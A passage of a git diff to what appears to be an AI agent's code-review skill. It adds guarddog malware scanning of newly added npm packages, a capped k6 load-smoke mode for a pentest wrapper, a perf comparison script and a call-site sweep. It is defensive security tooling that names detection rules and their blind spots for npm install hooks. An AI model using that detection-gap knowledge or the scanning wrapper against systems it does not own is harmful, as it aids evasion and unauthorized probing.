`cdx` or `spdx` as a whole name part, so `app.cdx.json` but not `bomb.json`); lockfiles stay with osv-scanner and trivy, because `dir:` scans the whole tree and cannot be credited to one lockfile | `grype sbom:FILE -o json` | verified (CLI and config docs) | route-only | | `checkov` | Terraform and Dockerfiles (compose files are not a checkov framework: not routed) | `checkov -f FILE -o json --quiet --skip-download --soft-fail`; a flat summary with no `results` and `parsing_errors` 0 (nothing applicable to check, e.g. variables-only Terraform) is a clean file | verified (CLI reference); JSON shape checked strictly, not documented | route-only | | `hadolint` | Dockerfiles | `hadolint -f json --no-fail FILE` | verified (README); JSON shape checked strictly, not documented | route-only | +| `guarddog` | npm packages a changed `package-lock.json` newly adds (name@version absent from the merge-base lock; a bump counts) and that are installed under `node_modules` at the locked version (the installed `package.json` says so); `hasInstallScript` ones first, then at most 25 and about 300 s in all (`REVIEW_GUARDDOG_BUDGET`), the rest named in a `not-checked` row; not under `--full`; not a `hub=` row | `guarddog npm scan --output-format json DIR` on existing in-repo dirs only (it fetches a non-directory argument as a registry name), only when `guarddog --version` says 3.x; `--no-sandbox` (behind a dead proxy) only after its sandbox fails to start (nested); never `verify`; leads: `threat-*` rules only, each tagged `[heuristic]`; a rule that errors is a `not-checked` row and the other rules' hits stay; a newly added lock entry with `hasInstallScript` is a `package-lock` lead of its own | verified (`--help`, 3.2.0 source, real run 2026-10-30); the install-hook rules (`threat-npm-preinstall-script`, `threat-process-hooks`) match `*/package.json`, a nested one, so a package's own root `package.json` hook is never flagged | route-only | | `snyk-agent-scan` | MCP and skill configs | not run | unverified: docs show no offline mode (it calls the Agent Scan API and can start MCP servers) | route-only | +| `semgrep` bundled rule `perun.gha.actor-allowlist-from-vars` | workflows and `action.yml`: an actor check (`github.actor`, `github.triggering_actor`, `GITHUB_ACTOR`) fed by `vars.NAME`, a list anyone with write access can edit | none of its own: `templates/semgrep-taint/gha.yml` loads with the other bundled rules, and only when the repo has no semgrep rules of its own | a rule, not a tool flag; a `[heuristic]` lead that names the fix; GitHub docs verified 2026-10-30 | own rule | Already routed before the hub: gitleaks, trufflehog, osv-scanner, semgrep, trivy (see `method-situational.md`). +pinact (`pinact run`) is the fixer for unpinned-action findings; it needs the GitHub API, so never in offline runs. + +## Perf tools (own scripts, not run by `review_checks.sh`) + +| Tool | Covers | Command shape | Flags | Class | +|---|---|---|---|---| +| `hyperfine` | Wall-clock A/B of one command, base tree vs current tree | `bash scripts/perf_compare.sh [--runs N] [--base REF] [--json FILE] -- CMD...` | verified (`hyperfine --help`, 2.0.0, 2026-10-30); the JSON export is read strictly (`schema_version` 2, seconds) | route-only | +| `k6` | Load smoke of a running app on loopback or `APP_PENTEST_ALLOW` | `bash scripts/app_pentest.sh --load [--vus N] [--secs N] URL`; rules in `app-pentest.md` | verified (`k6 run --help`, v2.3.0, 2026-10-30); the `--new-machine-readable-summary` JSON is read strictly (version 1.x) | route-only | + +`perf_compare.sh` runs CMD in a detached worktree of BASE (default: the merge-base with `origin/main`; checked out with git hooks off) and in the current tree, uncommitted edits included, under `hyperfine --warmup 1 --runs N` (N from 2 to 9999, default 10). Untracked files are not in the base, so CMD must build or fetch what it needs, and it must exit 0 in both trees. + +- One stdout line: `perf_compare: base X ms (sd Y, n=N) | current X ms (sd Y, n=N) | ratio R.RRx | VERDICT | json=PATH`. VERDICT is `within noise (ranges overlap)` when the means differ by no more than the two sds added up, else `slower` or `faster` plus `(ranges do not overlap)`. The sd is run spread, not a standard error, so "conservative" covers run spread only: base runs fully before current, so drift between blocks can read as `slower` or `faster`. "within noise" makes no claim, it does not say "equal". The raw export is copied to `--json FILE` (default `/perf-compare-last.json`). +- Exit 0 verdict printed; 1 hyperfine missing (`NOT CHECKED: hyperfine (install: brew install hyperfine)` on stderr, never a clean result) or the run failed (checkout, CMD or an unsupported export); 2 refused usage. The worktree is removed on exit and on HUP, INT or TERM. +- `heavy_gate.py` holds a run while the machine is busy. Start it on an idle machine and repeat: one verdict is a lead. + ## Route-only skills (opt-in, never vendored) | Skill | License note | Rule | diff --git a/.claude/skills/deep-code-review/scripts/app_pentest.sh b/.claude/skills/deep-code-review/scripts/app_pentest.sh index f5d146272..41834f406 100755 --- a/.claude/skills/deep-code-review/scripts/app_pentest.sh +++ b/.claude/skills/deep-code-review/scripts/app_pentest.sh @@ -1,19 +1,32 @@ #!/usr/bin/env bash # app_pentest.sh [--active] [--openapi SPEC] URL: ZAP, nuclei, schemathesis over a RUNNING app you own; prints JSON leads. +# app_pentest.sh --load [--vus N] [--secs N] URL: a capped k6 smoke run, alone (p50, p95, error rate; no leads). # Invoke with bash. Safety rules, flags and how to treat the output: references/app-pentest.md (single source). # Exit: 0 ok, 2 refused/usage. set -u refuse() { echo "REFUSED: $*" >&2; exit 2; } -active=0; spec="" +active=0; spec=""; load=0; vus=""; secs="" while :; do case "${1:-}" in --active) active=1; shift ;; --openapi) [ -n "${2:-}" ] || refuse "--openapi needs a spec file or URL"; spec="$2"; shift 2 ;; + --load) load=1; shift ;; + --vus) [ -n "${2:-}" ] || refuse "--vus needs a number"; vus="$2"; shift 2 ;; + --secs) [ -n "${2:-}" ] || refuse "--secs needs a number"; secs="$2"; shift 2 ;; *) break ;; esac done url="${1:-}" -[ $# -eq 1 ] || refuse "usage: app_pentest.sh [--active] [--openapi SPEC] URL" +[ $# -eq 1 ] || refuse "usage: app_pentest.sh [--active] [--openapi SPEC] URL | app_pentest.sh --load [--vus N] [--secs N] URL" +# --load runs alone, with hard caps (refused, never clamped): 20 VUs, 60 s. Defaults 5 VUs, 15 s. +if [ $load -eq 1 ]; then + [ $active -eq 0 ] && [ -z "$spec" ] || refuse "--load runs alone: not with --active or --openapi" + vus="${vus:-5}"; secs="${secs:-15}" + [[ "$vus" =~ ^[1-9][0-9]{0,2}$ ]] && [ "$vus" -le 20 ] || refuse "--vus must be a whole number from 1 to 20 (hard cap), got '$vus'" + [[ "$secs" =~ ^[1-9][0-9]{0,2}$ ]] && [ "$secs" -le 60 ] || refuse "--secs must be a whole number from 1 to 60 (hard cap), got '$secs'" +else + [ -z "$vus$secs" ] || refuse "--vus and --secs need --load" +fi # check_url LABEL URL: the allow rules for one URL (the target, and a spec URL with LABEL "--openapi: "). Sets c_ips # (resolved addresses), c_origin (scheme://host[:port]) and c_host. Refuses (exit 2) on any violation. @@ -62,6 +75,44 @@ if [ -n "$spec" ]; then fi out="$(mktemp -d "${TMPDIR:-/tmp}/ap.XXXXXX")" || exit 1; trap 'rm -rf "$out"' EXIT +if [ $load -eq 1 ]; then + # A smoke run, not a stress test. A 100 ms pause per iteration holds each VU to about 10 requests a second, and a 5 s request + # timeout ends the run within the duration plus 5 s. env -i keeps K6_* (cloud, output) and proxy variables away from k6; no + # usage report, no redirects, TLS verified. All requests failing (unreachable, or status >= 400) is status error, not a result. + st_k6=skipped; k6bin="$(command -v k6 2>/dev/null)" + if [ -n "$k6bin" ]; then + printf '%s\n' "import http from 'k6/http';" "import { sleep } from 'k6';" \ + "export default function () { http.get(__ENV.TARGET, { timeout: '5s' }); sleep(0.1); }" >"$out/load.js" + echo '{}' >"$out/k6.cfg" + if env -i PATH="$PATH" HOME="$out" TMPDIR="$out" "$k6bin" run -c "$out/k6.cfg" --no-usage-report --no-color -q -u "$vus" -d "${secs}s" \ + --max-redirects 0 --new-machine-readable-summary --summary-export "$out/k6.json" -e TARGET="$url" "$out/load.js" >"$out/k6.log" 2>&1 + then st_k6=attempted; else st_k6=error; fi + else + echo "NOT CHECKED: k6 (install: brew install k6)" >&2 + fi + python3 -I - "$url" "$ips" "$st_k6" "$vus" "$secs" "$out/k6.json" <<'PY' +import json, sys +url, ips, st, vus, secs, path = sys.argv[1:7] +load = None +if st == "attempted": + st = "error" + try: + r = json.load(open(path)) + if not str(r["version"]).startswith("1."): raise ValueError("summary version") + m = {x["name"]: x["values"] for x in r["results"]["metrics"]} + n, rate, d = int(m["http_reqs"]["count"]), float(m["http_req_failed"]["rate"]), m["http_req_duration"] + if n >= 1: + ok = rate < 1 + load = {"vus": int(vus), "secs": int(secs), "requests": n, "p50_ms": round(d["med"], 2) if ok else None, + "p95_ms": round(d["p95"], 2) if ok else None, "error_rate": round(rate, 4)} + st = "ran" if ok else "error" + except (OSError, ValueError, KeyError, TypeError): + pass +print(json.dumps({"target": url, "ips": ips.split(), "load": load, "tools": {"k6": st}, + "note": "Smoke numbers from one client, not a capacity claim. error_rate counts transport failures and HTTP status >= 400; status error means no usable run."}, indent=2)) +PY + exit 0 +fi if [ -n "$spec" ]; then # Read the spec before any tool starts: an unreadable or over-size spec, or one with a remote $ref or externalValue # (an early text match; JSON escapes and YAML tags get past it, the egress block on the run is the real guard), diff --git a/.claude/skills/deep-code-review/scripts/perf_compare.sh b/.claude/skills/deep-code-review/scripts/perf_compare.sh new file mode 100755 index 000000000..687354003 --- /dev/null +++ b/.claude/skills/deep-code-review/scripts/perf_compare.sh @@ -0,0 +1,71 @@ +#!/usr/bin/env bash +# perf_compare.sh [--runs N] [--base REF] [--json FILE] -- CMD...: hyperfine A/B of CMD in a detached worktree of BASE vs the current tree; one verdict line. +# Invoke with bash. Rules, caveats and how to read the verdict: references/tool-hub.md (single source). +# Exit: 0 verdict printed, 1 hyperfine missing or the run failed, 2 refused/usage. +set -u +usage="usage: perf_compare.sh [--runs N] [--base REF] [--json FILE] -- CMD..." +refuse() { echo "REFUSED: $*" >&2; exit 2; } +runs=10; base=""; json="" +while [ $# -gt 0 ]; do + case "$1" in + -h|--help) echo "$usage"; exit 0 ;; + --runs) [ -n "${2:-}" ] || refuse "--runs needs a number"; runs="$2"; shift 2 ;; + --base) [ -n "${2:-}" ] || refuse "--base needs a git ref"; base="$2"; shift 2 ;; + --json) [ -n "${2:-}" ] || refuse "--json needs a file path"; json="$2"; shift 2 ;; + --) shift; break ;; + *) refuse "$usage" ;; + esac +done +[ $# -ge 1 ] || refuse "$usage" +[[ "$runs" =~ ^[1-9][0-9]{0,3}$ ]] && [ "$runs" -ge 2 ] || refuse "--runs must be a whole number from 2 to 9999, got '$runs'" +git rev-parse --git-dir >/dev/null 2>&1 || refuse "not inside a git work tree" +if [ -z "$base" ]; then + base="$(git merge-base HEAD origin/main 2>/dev/null)" || refuse "no origin/main to take a base from; pass --base REF" +fi +case "$base" in -*) refuse "--base must be a git ref, not an option" ;; esac +sha="$(git rev-parse --verify --quiet "$base^{commit}")" || refuse "--base '$base' is not a commit" +command -v hyperfine >/dev/null 2>&1 || { echo "NOT CHECKED: hyperfine (install: brew install hyperfine)" >&2; exit 1; } + +prefix="$(git rev-parse --show-prefix)" +[ -n "$json" ] || json="$(cd "$(git rev-parse --git-common-dir)" && pwd)/perf-compare-last.json" +tmp="$(mktemp -d "${TMPDIR:-/tmp}/perfcmp.XXXXXX")" || exit 1 +trap 'git worktree remove --force "$tmp/base" >/dev/null 2>&1; rm -rf "$tmp"' EXIT +trap 'exit 129' HUP; trap 'exit 130' INT; trap 'exit 143' TERM +# Hooks off for the temporary checkout: a post-checkout hook must not run in it. +git -c core.hooksPath=/dev/null worktree add --quiet --detach "$tmp/base" "$sha" || { echo "perf_compare: could not check out $sha" >&2; exit 1; } +[ -d "$tmp/base/$prefix" ] || { echo "perf_compare: ${prefix:-.} does not exist at $sha" >&2; exit 1; } + +# POSIX single quotes (each ' becomes '"'"'): printf %q writes $'..' for control characters, which dash reads as a literal $. +q() { local s="$1" sq="'" sub="'\"'\"'"; printf "'%s'" "${s//$sq/$sub}"; } +# One word after -- is a shell string; several words are quoted for sh so each stays one argument. +if [ $# -eq 1 ]; then cmd="$1"; else cmd=""; for a in "$@"; do cmd="$cmd$(q "$a") "; done; fi +# base runs first, then current, one warm-up each; the current tree is the working tree, uncommitted changes included. +if ! hyperfine --style none --shell=default --warmup 1 --runs "$runs" --export-json "$tmp/hf.json" \ + -n base "cd $(q "$tmp/base/$prefix") && $cmd" -n current "cd $(q "$PWD") && $cmd" >"$tmp/hf.log" 2>&1; then + tail -n 5 "$tmp/hf.log" >&2 + echo "perf_compare: hyperfine failed; CMD must exit 0 in both trees" >&2; exit 1 +fi + +python3 -I - "$tmp/hf.json" "$json" <<'PY' +import json, shutil, sys +src, dst = sys.argv[1:3] +def fail(m): sys.exit("perf_compare: " + m) +try: + d = json.load(open(src)) + s = {r["name"]: r["summary"]["time_wall_clock"] for r in d["results"]} + b, c = s["base"], s["current"] + if d["schema_version"] != 2 or b["unit"] != "second" or c["unit"] != "second": + fail("unsupported hyperfine export (needs schema_version 2 in seconds: hyperfine 2.x)") + mb, sb, nb = float(b["mean"]), float(b["stddev"]), int(b["count"]) + mc, sc, nc = float(c["mean"]), float(c["stddev"]), int(c["count"]) +except (OSError, ValueError, KeyError, TypeError): + fail("unreadable hyperfine export") +if not mb > 0: fail("base mean is not positive") +# Ranges are mean +- sd and overlap when the means differ by at most sd + sd. That is conservative about run-to-run spread only: +# base runs fully before current, so drift between the two blocks (load, thermal, cache) is outside the sd and can read as slower or faster. +v = "within noise (ranges overlap)" if abs(mc - mb) <= sb + sc else ("slower" if mc > mb else "faster") + " (ranges do not overlap)" +try: shutil.copyfile(src, dst) +except OSError as e: fail("cannot write %s: %s" % (dst, e.strerror)) +print("perf_compare: base %.2f ms (sd %.2f, n=%d) | current %.2f ms (sd %.2f, n=%d) | ratio %.2fx | %s | json=%s" + % (mb * 1e3, sb * 1e3, nb, mc * 1e3, sc * 1e3, nc, mc / mb, v, dst)) +PY diff --git a/.claude/skills/deep-code-review/scripts/review_checks.sh b/.claude/skills/deep-code-review/scripts/review_checks.sh index 8a4f5fbf3..9a18bce43 100755 --- a/.claude/skills/deep-code-review/scripts/review_checks.sh +++ b/.claude/skills/deep-code-review/scripts/review_checks.sh @@ -21,6 +21,8 @@ # and reports a file with 10 or more (tool `committed-data`, rule `email-addresses`; the row carries counts only, never an address or domain, and starts `likely fixture:` for a test path whose addresses are mostly placeholder-style or on reserved domains). Addresses spread thin are summed over the files that stay below 10: 50 or more # distinct give one `email-addresses` row with the path `.`. `not-checked` = unreadable, over the 32 MiB read cap, or, under the threshold, a file in a format whose pages can hide addresses (parquet, arrow, orc, zip, gzip, # zstd, xz, 7z, lz4, bzip2, avro, pdf, zlib; the list and its ceilings are in committed_personal_data.py). gitleaks looks for secrets, not for exported personal data. +# Built-in too, base mode only (a --full scan has no diff): sibling_sweep.py lists the unchanged call sites, in non-test code, of a function whose call arguments the diff changed elsewhere (tool `sibling-sweep`, +# rule `unchanged-sibling-call`, message starts "lead:"): the sibling route a fix may have missed. Leads to open, never findings; a name with more than 25 call sites is skipped; scope and ceilings are in its docstring. # `--full` scans every tracked file (base = git's empty tree) instead of a diff; it also runs tenant_scope_check.py (SKIPPED without a *.prisma). gitleaks runs once over the working tree. gitleaks drops # fingerprints listed in the repo's .gitleaksignore (as of BASE, HEAD under --full). # gitleaks generic-api-key hits tagged likely-fixture collapse to one summary row per top fixture dir when it has >3 (every other rule, and name-only matches, stay rows); REVIEW_FIXTURE_ROWS=all lists every hit. @@ -40,6 +42,9 @@ # scope (trivy secret-only, semgrep with errors or bundled-only) and which a provision fixes (a missing tool, a cold cache, semgrep bundled-only); wired also counts shellcheck, ruff/pyflakes and (with --history) gitleaks-history, # which provision_tools.sh cannot install, so they can be "not run" but never "fixable". The same summary is recorded best-effort in # /review-checks-last.json for perun_doctor.py. +# guarddog (optional, offline, never installs or fetches): the npm packages a changed package-lock.json newly adds (against the merge-base lock; a bump counts) that are already +# installed under node_modules at the locked version get `guarddog npm scan` (hasInstallScript packages first; cap 25 and REVIEW_GUARDDOG_BUDGET seconds in all, default 300; threat-* rules only, +# each lead tagged [heuristic]; every package left unscanned is named in a not-checked row). A newly added lock entry with hasInstallScript is a lead of its own; see references/tool-hub.md. # All temp files live in one private mktemp -d dir per run, removed on exit. # Each tool run is timeboxed (default 60s); a semgrep chunk whose p/default pack hangs spends a second timebox on the bundled-rules rerun. Exit 0 even with findings; 2 on usage/unresolvable base. set -euo pipefail @@ -141,7 +146,7 @@ miss() { gap+="${gap:+; }$1 ($2)"; } have() { command -v "$1" >/dev/null || { skip "$1" "not installed"; missing+=" $1" - case "$1" in semgrep) miss "$1" "install: pipx install semgrep" ;; tsc) miss "$1" "install: npm install -g typescript" ;; *) miss "$1" "install: brew install $1" ;; esac + case "$1" in semgrep) miss "$1" "install: pipx install semgrep" ;; guarddog) miss "$1" "install: pipx install guarddog" ;; tsc) miss "$1" "install: npm install -g typescript" ;; *) miss "$1" "install: brew install $1" ;; esac return 1; } case "$1" in gitleaks|trufflehog|osv-scanner|semgrep|trivy) lease_take || { skip "$1" "heavy lease full"; return 1; } ;; esac } @@ -291,6 +296,9 @@ elif kind == "checkov": elif kind == "trufflehog": # SARIF: runs[].results[]; a clean scan still prints the document with "results": [] if not isinstance(d, dict) or not isinstance(d.get("runs"), list) or not d["runs"] or not all(isinstance(x, dict) and isinstance(x.get("results"), list) for x in d["runs"]): sys.exit("sjson: trufflehog output has no SARIF runs[].results list") +elif kind == "guarddog": # results: rule -> hits; errors: rule -> why it did not run (its key stays in results, empty). A rule error costs that rule only: the other hits stay and a not-checked row names it + if not isinstance(d, dict) or not isinstance(d.get("results"), dict) or not isinstance(d.get("errors") or {}, dict) or not any(str(r).startswith("threat-") for r in (*d["results"], *(d.get("errors") or {}))): + sys.exit("sjson: guarddog output has no results object or no threat-* rule") elif not isinstance(d, dict) or not isinstance(d.get("results"), list): sys.exit(f"sjson: {kind} output has no results list") rows = [] @@ -380,6 +388,14 @@ elif kind == "trufflehog": # only ruleId (the detector), uri and startLine are for r in run["results"]: p = r["locations"][0]["physicalLocation"] rows.append((nf(p["artifactLocation"]["uri"]), p.get("region", {}).get("startLine", 0), r["ruleId"], "secret detected (unverified: offline scan, --no-verification)")) +elif kind == "guarddog": # threat-* rules only (capability-* fire on benign code); one row per rule from its first hit, relative to the package dir; code and match are source snippets and are never read + cl = lambda s: "".join(c if c.isprintable() else "?" for c in str(s)) or "?" # a package can ship a file named with a \r: it would split the row and the closing summary drops it, so control characters become "?", never vanish + for r, h in d["results"].items(): + if r.startswith("threat-") and h: + f, _, l = str(h[0].get("location", "")).rpartition(":") + rows.append((cl(f or "."), int(l) if l.isdigit() else 0, cl(r), f"{len(h)} hit(s): {cl(h[0].get('message', ''))[:200]} [heuristic]")) + for r, e in sorted((d.get("errors") or {}).items()): + rows.append((".", 0, "not-checked", f"rule {cl(r)} did not run ({cl(e)[:120]}); its hits were not checked")) else: for r in d["results"]: for p in r.get("packages") or []: @@ -388,7 +404,7 @@ else: for v in p.get("vulnerabilities") or []] for row in rows: print("\t".join(str(x).replace("\t", " ").replace("\n", " ") for x in row)) -err = kind == "semgrep" and d.get("errors") +err = kind in ("semgrep", "guarddog") and d.get("errors") if err and not rows: # errors and no findings: partial when some scanned file raised no error, else exit 4 (nothing usable was scanned) bad = {e.get("path") if isinstance(e, dict) else None for e in err} sys.exit(3 if None not in bad and len(set((d.get("paths") or {}).get("scanned") or [])) > len(bad) else 4) @@ -675,6 +691,106 @@ while IFS=';' read -r hn hs hm hre _ hh; do done < <(printf '%s\n' "${hub[@]}") hubtool= +# guarddog: the npm packages a changed package-lock.json newly adds (name@version absent from the merge-base lock, so a version bump counts) that are already installed at the locked version +# (the installed package.json says so: a lock-only bump leaves the old code on disk, and scanning that would read as clean) get an offline YARA scan. It never installs and never runs `verify`; +# guarddog reads a non-directory argument as a registry package NAME and would fetch it, so only existing directories inside the repo are passed. 3.2.0 has no offline flag: its startup refresh of the +# typosquat top-package lists (github.com, hugovk.github.io, packages.ecosyste.ms) is stopped by pointing GUARDDOG_TOP_PACKAGES_CACHE_LOCATION at fresh stub lists, and the --no-sandbox retry (guarddog's +# own kernel sandbox is what otherwise blocks its network) adds a dead proxy. Only threat-* rules become leads (capability-* fire on benign code), and YARA rules are heuristics, so each lead says so. +# The install-hook rules (threat-npm-preinstall-script, threat-process-hooks) match the path */package.json, a nested one: a package's own root package.json, where install hooks live, is never flagged +# by them, so a newly added lock entry with hasInstallScript is a lead of its own (tool package-lock). Unleased: light. +# ponytail: package-lock.json only (no yarn.lock or pnpm-lock.yaml); add a parser when those repos need it. +# gdnew LOCK BASELOCK LEADS: "dirnameversionflag" per package LOCK has and BASELOCK lacks, flag 1 = its lock entry has hasInstallScript (dir: the first copy inside the repo whose +# package.json version is the locked one, else "-"). LEADS gets finished rows: a package-lock lead per flagged package and a not-checked row per entry that cannot be scanned safely (no version, or control +# characters in its name, version or key). Every field is printable: a \r would split a row and the closing summary drops it silently, so control characters become "?". Non-zero when LOCK has no packages map. +gdnew() { + python3 -I - "$@" <<'PY' +import json, os, sys +f, bf, lf = sys.argv[1:] +cl = lambda s: "".join(c if c.isprintable() else "?" for c in str(s)) or "?" +def pk(p): # {lock key: (name, version, hasInstallScript)}; the root "", workspace roots and link entries are repo code, not a download + d = json.load(open(p, encoding="utf-8"))["packages"] + return {k: (str(v.get("name") or k.rsplit("node_modules/", 1)[1]), v.get("version"), v.get("hasInstallScript") is True) for k, v in d.items() if "node_modules/" in k and not v.get("link")} +try: old = {(n, v) for n, v, _ in pk(bf).values()} +except Exception: old = set() # no usable lock at the merge-base: every package is new +new = {} +for k, (n, v, s) in pk(f).items(): + if (n, v) not in old: e = new.setdefault((n, v), [[], False]); e[0].append(k); e[1] = e[1] or s +def has(q, v): # q holds version v: a lock-only bump leaves the old code installed, and scanning that would read as clean + try: return json.load(open(os.path.join(q, "package.json"), encoding="utf-8")).get("version") == v + except (OSError, ValueError, AttributeError): return False +root, d0, rows, leads = os.path.realpath(".") + os.sep, os.path.dirname(f), [], [] +for (n, v), (ks, s) in sorted(new.items(), key=lambda kv: not kv[1][1]): # stable: hasInstallScript packages first, so the cap and the time budget never leave them out + nm, vs = cl(n), cl(v) if isinstance(v, str) else "?" + ok = isinstance(v, str) and all(x.isprintable() for x in (n, v, f, *ks)) + if not ok: leads.append(("guarddog", cl(f), 0, "not-checked", f"{nm}@{vs}: the lock entry has no version, or control characters in its name, version or key; not scanned")) + if s: leads.append(("package-lock", cl(f), 0, "has-install-script", f"{nm}@{vs} is newly added and its lock entry has hasInstallScript: it has a preinstall, install or postinstall script that npm runs on install. guarddog's install-hook rules never read a package's own root package.json, so read that script [heuristic]")) + # the realpath test keeps a symlink or a .. key from leading a scan outside the repo + p = next((q for q in (os.path.join(d0, k) for k in ks) if os.path.isdir(q) and (os.path.realpath(q) + os.sep).startswith(root) and has(q, v)), "-") if ok else "-" + rows.append(f"{p}\t{nm}\t{vs}\t{int(s)}") +if leads: open(lf, "a", encoding="utf-8").write("".join("\t".join(map(str, r)) + "\n" for r in leads)) +if rows: print("\n".join(rows)) +PY +} +glk=$(changed '(^|/)package-lock\.json$') +if [ -n "$glk" ]; then + hubtool=guarddog + if [ "$full" = 1 ]; then skip guarddog "SKIPPED: --full has no base to find newly added packages against" + else + gdn=$td/gdnew gdb=$td/gdbase gdl=$td/gdleads; : >"$gdn"; : >"$gdl" + gmb=$(git merge-base "$ref" HEAD 2>/dev/null || echo "$ref") # the lock as the diff above sees its base: the moved base tip would call the base's own bumps new + while IFS= read -r f; do + git show "$gmb:$f" >"$gdb" 2>/dev/null || echo '{}' >"$gdb" # no lock there: every package is new + gdnew "$f" "$gdb" "$gdl" >>"$gdn" 2>/dev/null || skip guarddog "SKIPPED: $f has no packages map (lockfileVersion 1) or is unparseable" + done <<<"$glk" + cat "$gdl" >>"$raw" # the hasInstallScript leads and the named not-checked rows stand with or without guarddog + gdT=$(grep -c . "$gdn" || true) + if [ "$gdT" != 0 ] && { wiredx+=" guarddog"; have guarddog; }; then + gdc=$td/gdcache gdP=0 gdS=0 gdR=0 gdN=0 gdQ=0 gdq= gdsb=() gdpx=() gdt0=$SECONDS gdbud=${REVIEW_GUARDDOG_BUDGET:-300} gdp=http://127.0.0.1:9 + case "$gdbud" in ''|*[!0-9]*) gdbud=300 ;; esac + mkdir -p "$gdc" + for gk in npm pypi rubygems go; do printf '{"downloaded_timestamp": %s, "packages": ["example"]}\n' "$(date +%s)" >"$gdc/top_${gk}_packages.json"; done + gdrun() { run_one guarddog env GUARDDOG_TOP_PACKAGES_CACHE_LOCATION="$gdc" ${gdpx[@]+"${gdpx[@]}"} guarddog "$@" &2 + gdscan "$gp" || continue + fi + scan_ok guarddog || continue + e=0; sjson guarddog "$out" >"$tsv" || e=$? + case "$e" in 0) gdS=$((gdS + 1)) ;; 3) gdR=$((gdR + 1)) ;; *) skip guarddog "unparseable output"; continue ;; esac # 3: a rule did not run (its own row says which); the hits of the others stay + while IFS=$'\t' read -r gf gln grl gmsg; do + if [ "$grl" = not-checked ]; then add guarddog "$gp" 0 not-checked "$gnm@$gv: $gmsg"; else add guarddog "$gp/$gf" "$gln" "$grl" "$gnm@$gv: $gmsg"; fi + done <"$tsv" + done < <(awk -F'\t' '$4 == 1' "$gdn"; awk -F'\t' '$4 != 1' "$gdn") # hasInstallScript packages first, across every lock + if [ "$gdP" = 0 ]; then skip guarddog "SKIPPED: none of $gdT newly added packages is installed under node_modules at its locked version" + elif [ "$gdS" = "$gdT" ]; then ran+=" guarddog" + else + [ $((gdS + gdR)) = 0 ] || ran+=" guarddog(scanned-$gdS-of-$gdT)" + gdm="scanned $gdS of $gdT newly added packages in full; $gdN not installed at the locked version or unreadable" + [ "$gdR" = 0 ] || gdm+="; $gdR scanned with a rule that did not run" + [ "$gdQ" -le 10 ] || gdq+=" and $((gdQ - 10)) more" + [ -z "$gdq" ] || gdm+="; over the cap of 25 or the ${gdbud}s time budget, not scanned: $gdq" + add guarddog "" 0 not-checked "$gdm; a failed or partial scan has its own row" + fi + fi + fi + fi + hubtool= +fi + # Optional, --full only: tenant_scope_check.py (Prisma id-only where in server code); SKIPPED when the tree has no *.prisma. if [ "$full" = 1 ]; then if [ -z "$(changed '\.prisma$')" ]; then skip tenant-scope "SKIPPED: no *.prisma" @@ -710,6 +826,18 @@ if [ -n "$cf" ]; then fi fi +# Built-in, no tool to install, base mode only: unchanged call sites of a function whose call arguments this diff changed (sibling_sweep.py; read-only git diff and git grep against commits, no checkout). +# Cheap, so unleased. Rows: tool sibling-sweep, rule unchanged-sibling-call|not-checked; leads for the reviewer to open, never findings. The script's one-line stderr summary lands in $out too and is not a row (no tabs). +ss="$here/sibling_sweep.py" +if [ "$full" != 1 ] && [ -n "$files" ]; then + if [ ! -f "$ss" ]; then skip sibling-sweep "sibling_sweep.py missing" + else + if run_one sibling-sweep python3 -I "$ss" --repo . --base "$base" && scan_ok sibling-sweep; then # rows are written once at the end, so a timeout or crash leaves none + while IFS=$'\t' read -r f l r m; do [ -z "$m" ] || add sibling-sweep "$f" "$l" "$r" "$m"; done <"$out" # the stderr summary line has no tabs: not a row + fi + fi +fi + if [ "$tests" = 1 ]; then if [ -z "${REVIEW_TEST_CMD:-}" ]; then skip tests "REVIEW_TEST_CMD not set" elif run_one tests bash -c "$REVIEW_TEST_CMD"; then diff --git a/.claude/skills/deep-code-review/scripts/sibling_sweep.py b/.claude/skills/deep-code-review/scripts/sibling_sweep.py new file mode 100644 index 000000000..e379e1c77 --- /dev/null +++ b/.claude/skills/deep-code-review/scripts/sibling_sweep.py @@ -0,0 +1,275 @@ +#!/usr/bin/env python3 +"""sibling_sweep.py --repo DIR --base REF [--head REF] - leads for an incomplete fix: a call changed here, its unchanged siblings there. + +Purpose: a fix that changes the arguments of a call to a function F at some call sites (a rate-limit key, a new required option, +a wrapper around an argument) often leaves the same call on its old form elsewhere: the sibling route, the twin handler. The +hunks never show it. This lists the call sites of F that the diff did not touch, in non-test code. They are LEADS, never +findings: open each site and decide whether the same change belongs there. + +How: `git diff -U0 BASE...HEAD` (BASE taken at the merge base) gives the changed lines. For each changed source file both blobs are +read and every call-shaped `name(...)` is found; the calls a hunk touches are compared across the two sides by their own +arguments (a nested call's arguments and a callback body are blanked first, so editing inside a callback is not editing the +outer call; whitespace, quote style and a trailing comma are ignored). A name whose touched calls lose one argument text and gain +another is "changed". `git grep` at HEAD then finds the calls to those names in the same language family; the ones the diff +did not touch, and whose arguments are not already a new form, are the leads. + +Output (stdout, TSV, flushed at the end): `filelinerulemessage`, rule `unchanged-sibling-call` (message starts +`lead:`, names the changed site and its old and new arguments; the sites nearest an old form sort first, and one with the very same +arguments says so) or `not-checked` (surface this scan did not cover: leads beyond 5 per function or 30 in all, over 300 changed +source files, over 40 changed names, names with over 25 call sites: the first 5 are named; one row, path `.`). stderr: one summary +line. Exit 0, also with leads; 2 on usage, an unresolvable ref or no merge base. + +Skipped: definitions; test, fixture, mock, vendored and build paths (as changed code and as call sites); names under 3 characters +and keywords; a name with more than 25 call sites (too common to sweep; named in the `not-checked` row and on stderr); calls in files of another language +family than a changed call; a call longer than 3000 characters; files over 400 KB; added and deleted files (no old and new side to compare; an added file's calls are changed, not unchanged sites). + +Ceilings (a lead generator, not a call graph): regex based, no types or scopes, so two unrelated functions with one name merge; +calls without parentheses (shell, Ruby, Elixir), dynamic dispatch and names built from strings are invisible; an interface +declaration `f(x: T): U;` can read as a call and a call with a trailing block `f(x) { ... }` as a definition; a comment is +recognised only when it starts its line. A changed definition (a new parameter, a changed +return contract) is not swept here: `impact_map.py` lists the out-of-diff references to such a symbol, capped per symbol (`--cap`, default 8, then `truncated`). +Side effects: none (read-only git subprocesses against commits, no checkout, no writes). +""" +import argparse +import bisect +import collections +import difflib +import os +import re +import subprocess +import sys + +MAX_SITES = 25 # a name called from more places than this is too common to sweep +MAX_LEADS = 30 # rows printed; the rest are counted in the not-checked row +MAX_PER_NAME = 5 # rows per changed name, so one noisy name cannot fill the output +MAX_FILES = 300 # changed source files read +MAX_FNS = 40 # changed names swept +SPAN = 3000 # characters scanned for a call's closing parenthesis +MAX_BLOB = 400_000 # bytes; 